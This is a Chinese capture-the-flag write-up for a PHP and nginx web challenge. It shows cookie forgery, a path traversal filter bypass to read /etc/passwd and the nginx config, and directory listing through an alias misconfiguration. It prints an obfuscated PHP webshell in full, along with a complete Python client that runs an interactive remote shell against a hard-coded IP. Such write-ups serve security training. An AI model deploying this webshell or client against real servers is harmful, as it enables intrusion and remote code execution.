web php wrong nginx config

题目描述

无

解题过程

信息收集

• 环境
  • ubuntu
  • nginx/1.10.3
  • php
• 御剑扫描
  • 发现robots.txt和/admin/

robots.txt

里面放了两个文件名hint.php和Hack.php

依次访问

hint.php

内容为

配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf

Hack.php

无法访问，要求登录，但是登录功能点无法使用，抓包，发现cookie字段isLogin=0

在浏览器console里修改为isLogin=1，成功访问

尝试了一遍，发现只有管理中心链接可以跳转

/admin/admin.php

应该是文件包含

• 尝试file=../../../../etc/passwd&ext=，页面除了少了please continue之外没有变化
• 尝试file=index./&ext=php，页面没有please continue
• 尝试file=index../&ext=php，页面有please continue
• 尝试file=index.../&ext=php，页面有please continue

有两种情况，一种是过滤了./，另一种是过滤了../，但第一次尝试，读取不成功，返回的页面中没有please continue，所以应该是过滤了../

• 再次尝试file=..././..././..././..././etc/passwd&ext=

  

/etc/nginx/sites-enabled/site.conf

• 访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

• 得到内容

  server 
  { 
  listen 8080; 
  ## listen for ipv4; this line is default and implied listen [::]:8080; 
  ## listen for ipv6 root /var/www/html; 
  index index.php index.html index.htm; 
  port_in_redirect off; server_name _; 
  # Make site accessible from http://localhost/ 
  #server_name localhost; 
  # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } 
  # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; 
  set $http_x_forwarded_for_filt $http_x_forwarded_for; 
  if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } 
  # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
  location / { 
  # First attempt to serve request as file, then 
  # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; 
  # redirect server error pages to the static page /50x.html 
  # error_page 500 502 503 504 /50x.html; 
  location = /50x.html { 
  root /usr/share/nginx/html;
  } 
  
  location ~ \.php
  $ { 
  try_files $uri $uri/ /index.php?q=$uri&$args;
  fastcgi_split_path_info ^(.+\.php)(/.+)$; 
  fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
  fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
  fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
  fastcgi_index index.php; include fastcgi_params; 
  fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
  } 
  
  location ~ /\. { 
  log_not_found off; 
  deny all; 
  } 
  
  location /web-img { 
  alias /images/; 
  autoindex on; 
  } 
  
  location ~* \.(ini|docx|pcapng|doc)$ { deny all; } 
  
  include /var/www/nginx[.]conf; 
  }
  

  发现/web-img可以进行目录浏览，这里的url解析为/web-img，所以构造的路径需要直接添加在后，不需要再添加/

/web-img

• 访问/web-img，绝对路径为/web-img

• 访问web-img../

  

• 发现hack.php.bak文件

  解码后

  <?php
  $kh = "42f7";
  $kf = "e9ac";
  function x($t, $k) {
      $c = strlen($k);
      $l = strlen($t);
      $o = "";
      for ($i = 0;$i < $l;) {
          for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
              $o.= $t{$i} ^ $k{$j};
          }
      }
      return $o;
  }
  $r = $_SERVER;
  $rr = @$r["HTTP_REFERER"];
  $ra = @$r["HTTP_ACCEPT_LANGUAGE"];
  if ($rr && $ra) {
      $u = parse_url($rr);
      parse_str($u["query"], $q);
      $q = array_values($q);
      preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
      if ($q && $m) {
          @session_start();
          $s = & $_SESSION;
          $ss = "substr";
          $sl = "strtolower";
          $i = $m[1][0] . $m[1][1];
          $h = $sl($ss(md5($i . $kh), 0, 3));
          $f = $sl($ss(md5($i . $kf), 0, 3));
          $p = "";
          for ($z = 1;$z < count($m[1]);$z++) $p.= $q[$m[2][$z]];
          if (strpos($p, $h) === 0) {
              $s[$i] = "";
              $p = $ss($p, 3);
          }
          if (array_key_exists($i, $s)) {
              $s[$i].= $p;
              $e = strpos($s[$i], $f);
              if ($e) {
                  $k = $kh . $kf;
                  ob_start();
                  @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                  $o = ob_get_contents();
                  ob_end_clean();
                  $d = base64_encode(x(gzcompress($o), $k));
                  print ("<$k>$d</$k>");
                  @session_destroy();
              }
          }
      }
  }
  ?>
  

  大概是个加壳的webshell，但看不懂 = =，搜到一篇介绍，使用介绍里的exp(py2)

  

exp

= = = = = = = = = 介绍里的脚本（使用的时候需要把67、68行的密钥和70行的url改一下）

# encoding: utf-8


from random import randint, choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re


def choicePart(seq, amount):
    length = len(seq)
    if length == 0 or length < amount:
        print ‘Error Input‘
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0, length - 1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result


def randBytesFlow(amount):
    result = ‘‘
    for i in xrange(amount):
        result += chr(randint(0, 255))
    return result


def randAlpha(amount):
    result = ‘‘
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result


def loopXor(text, key):
    result = ‘‘
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt < lenTxt and iKey < lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg


# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = ‘http://220.249.52.133:43560/hack.php‘
defaultLang = ‘zh-CN‘
languages = [‘zh-TW;q=0.%d‘, ‘zh-HK;q=0.%d‘, ‘en-US;q=0.%d‘, ‘en;q=0.%d‘]
proxies = None  # {‘http‘:‘http://127.0.0.1:8080‘} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ‘,‘.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint(‘$i is %s‘ % (init2Char))
debugPrint(‘md5 head: %s‘ % (md5head,))
debugPrint(‘md5 tail: %s‘ % (md5tail,))

# Interactive php shell
cmd = raw_input(‘phpshell > ‘)
while cmd != ‘‘:
    # build junk data in referer
    query = []
    for i in xrange(max(indexes) + 1 + randint(0, 2)):
        key = randAlpha(randint(3, 6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
        query.append((key, value))
    debugPrint(‘Before insert payload:‘)
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload, xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2, len(payload) - 3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0], payloadPieces[iPiece])
        iPiece += 1
    referer = url + ‘?‘ + urllib.urlencode(query)
    debugPrint(‘After insert payload, referer is:‘)
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url, headers={‘Accept-Language‘: acceptLangStr, ‘Referer‘: referer}, proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r‘<%s>(.*)</%s>‘ % (xorKey, xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print ‘Error,  no backdoor response‘
        cmd = raw_input(‘phpshell > ‘)
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode(‘base64‘)
    output = loopXor(output, xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input(‘phpshell > ‘)